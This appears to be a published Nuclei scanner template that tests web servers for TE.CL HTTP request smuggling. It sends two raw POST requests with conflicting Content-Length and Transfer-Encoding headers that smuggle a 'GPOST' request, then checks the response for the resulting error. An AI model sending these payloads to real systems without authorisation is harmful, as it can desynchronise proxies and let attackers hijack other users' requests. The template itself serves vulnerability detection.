te-cl-http-smuggling: Basic TE.CL - HTTP Request Smuggling

2025-11-11 te-cl-http-smuggling PoC Public

Description

Detected a potential TE.CL request smuggling condition where an injected Transfer-Encoding header conflicted with an existing Content-Length header, causing differing parsing behavior between proxy and backend.

PoC

id: te-cl-http-smuggling

info:
  name: Basic TE.CL - HTTP Request Smuggling
  author: pdteam,akincibor
  severity: low
  description: |
    Detected a potential TE.CL request smuggling condition where an injected Transfer-Encoding header conflicted with an existing Content-Length header, causing differing parsing behavior between proxy and backend.
  reference:
    - https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
  metadata:
    verified: true
    max-request: 2
  tags: te-cl,smuggling,vuln

http:
  - raw:
      - |+
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked

        5c
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 15

        x=1
        0

      - |+
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked

        5c
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 15

        x=1
        0

    unsafe: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "Unrecognized method GPOST")'
# digest: 4a0a00473045022023f54c3094b0c650edc58c79607f54f02e093c102c3d797264d4e93b58cd17bc022100b07cd8850e7ce15e5a682478f59a8c82971a28f65d24c37b6a78bc3770223a8d:922c64590222798bb761d5b6d8e72950

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